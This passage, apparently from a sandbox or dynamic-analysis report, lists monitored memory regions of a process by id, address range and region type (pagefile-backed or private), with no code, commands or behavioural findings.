0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7926 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7927 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7928 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7929 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7930 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7931 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7932 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7933 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7934 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7935 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7936 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7938 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7939 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7940 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7941 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7942 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7943 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7944 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7945 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7946 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7947 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7948 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7950 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 7951 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 7952 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7953 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7954 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7955 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7956 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7957 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7958 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7959 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7960 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7961 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7962 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7963 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7964 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7965 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7966 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7967 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7968 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7969 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7970 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7971 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7972 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7973 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 7975 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 7976 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7977 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7978 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7979 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7980 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 7981 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 7982 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7983 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7984 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7985 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7986 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7987 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7988 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7989 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7990 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7991 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7992 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7993 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 7995 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 7996 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 7997 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7998 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 7999 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb50000" filename = "" Region: id = 8000 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8001 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8002 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8003 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8004 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8005 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8006 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8007 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8008 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8009 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8010 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8011 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8012 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8013 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8014 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8015 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8017 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8018 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8019 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8020 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8021 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8022 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8023 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8024 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8025 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8026 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8027 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8028 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8029 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8030 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8031 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8032 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8033 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8034 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8035 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8036 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8037 start_va = 0x1bb40000 end_va = 0x1bb4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8038 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8040 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 8042 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8043 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 8044 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 8045 start_va = 0x1d710000 end_va = 0x1d71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d710000" filename = "" Region: id = 8046 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8047 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8048 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8049 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba30000" filename = "" Region: id = 8050 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8051 start_va = 0x1bb50000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb50000" filename = "" Region: id = 8052 start_va = 0x1d6e0000 end_va = 0x1d706fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8053 start_va = 0x1d6e0000 end_va = 0x1d6effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6e0000" filename = "" Region: id = 8054 start_va = 0x1d720000 end_va = 0x1d746fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d720000" filename = "" Region: id = 8055 start_va = 0x1d6f0000 end_va = 0x1d6fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d6f0000" filename = "" Region: id = 8056 start_va = 0x1d720000 end_va = 0x1d746fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d720000" filename = "" Region: id = 8057 start_va = 0x1d700000 end_va = 0x1d70ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d700000" filename = "" Region: id = 8058 start_va = 0x1d720000 end_va = 0x1d746fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d720000" filename = "" Region: id = 8059 start_va = 0x1d720000 end_va = 0x1d72ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d720000" filename = "" Region: id = 8060 start_va = 0x1d730000 end_va = 0x1d756fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d730000" filename = "" Region: id = 8061 start_va = 0x1d730000 end_va = 0x1d756fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d730000" filename = "" Region: id = 8062 start_va = 0x1d730000 end_va = 0x1d73ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d730000" filename = "" Region: id = 8063 start_va = 0x1d740000 end_va = 0x1d766fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d740000" filename = "" Region: id = 8064 start_va = 0x1d740000 end_va = 0x1d74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d740000" filename = "" Region: id = 8065 start_va = 0x1d750000 end_va = 0x1d75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d750000" filename = "" Region: id = 8066 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8067 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8068 start_va = 0x1bb60000 end_va = 0x1bb6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb60000" filename = "" Region: id = 8069 start_va = 0x1bb70000 end_va = 0x1bb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb70000" filename = "" Region: id = 8070 start_va = 0x1bb90000 end_va = 0x1bb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb90000" filename = "" Region: id = 8071 start_va = 0x1d710000 end_va = 0x1d71ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d710000" filename = "" Region: id = 8072 start_va = 0x1d740000 end_va = 0x1d766fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d740000" filename = "" Region: id = 8073 start_va = 0x1d740000 end_va = 0x1d74ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d740000" filename = "" Region: id = 8074 start_va = 0x1d750000 end_va = 0x1d776fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d750000" filename = "" Region: id = 8075 start_va = 0x1d750000 end_va = 0x1d776fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d750000" filename = "" Region: id = 8076 start_va = 0x1d750000 end_va = 0x1d776fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d750000" filename = "" Region: id = 8077 start_va = 0x1d750000 end_va = 0x1d776fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001d750000" filename = "" Region: id = 8078 start_va = 0x1bb40000 end_va = 0x1bb5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bb40000" filename = "" Region: id = 8080 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8081 start_va = 0x1d6e0000 end_va = 0x1d6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d6e0000" filename = "" Region: id = 8082 start_va = 0x1ba30000 end_va = 0x1ba3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba30000" filename = "" Region: id = 8083 start_va = 0x1d6f0000 end_va = 0x1d6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001d6f0000" filename = "" Region: id = 8084 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8085 start_va = 0x1e3e0000 end_va = 0x1ebdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e3e0000" filename = "" Region: id = 8086 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8087 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8088 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8089 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8090 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8091 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8092 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8093 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8094 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8095 start_va = 0x1ba00000 end_va = 0x1ba26fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba00000" filename = "" Region: id = 8096 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8097 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8098 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8099 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8100 start_va = 0x1ba00000 end_va = 0x1ba0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba00000" filename = "" Region: id = 8101 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8102 start_va = 0x1ba10000 end_va = 0x1ba1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba10000" filename = "" Region: id = 8103 start_va = 0x1ba20000 end_va = 0x1ba2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba20000" filename = "" Region: id = 8104 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8105 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8106 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8107 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8108 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8109 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8110 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8111 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bb40000" filename = "" Region: id = 8112 start_va = 0x1bb40000 end_va = 0x1bb66fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 